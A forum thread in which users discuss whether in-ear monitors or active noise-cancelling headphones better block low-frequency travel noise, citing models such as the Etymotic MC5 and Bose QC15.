hmmm... as title says really.
 
 
I've got no experience with noise cancelling headphones, but even deeply inserted IEM's such as Etymotic ER-4P's I found lost a significant amount of bass (not that they had much to begin with) to low frequency engine rumble in planes, trains and buses.
 
Do full sized noise cancelling headphones fare better in these scenario's?
 
I thought I once might have read that IEM's are better for attenuating high frequencies, and noise cancelling headphones were better for low - but I can't remember where or if I got it switched around.
 
Anyway - it's kind of moot for me cuz my doctor said that owing to my extreme earwax production that leaves me blocked up and deaf for weeks on end I'm 'banned' from using IEM's (gross but true) - but would be interesting to find out anyway.

I did a quick comparison between the Ety MC5 ( IEM ) and Audio Technica ATH-ANC7B ( Headphones ).  The clear winner is the Ety MC5 by just about -15dB everywhere excluding the 200Hz range where both were just about equal.

You could always go with the best of both worlds and try Phiaton's PS 20 NC IEMs.  They average -25dB of isolation and use active noise cancellation.

To me just about every graph I check shows that the IEM is far better than any headphone in regards to noise cancellation.  This is no surprise since most IEMs seal well allowing noise to be blocked out prior to applying any noise cancellation to the audio itself.
 
Here is a quick article claiming the Bose had the most attenuation of the low frequencies of the tested headphones.  Perhaps Bose QuietComfort 15 would be a good option for you.

i was in in london the other day and no active noise cancelling headphones were good with low frequencies but the Bose QC15's active noise cancelling headphones are good for this purpose
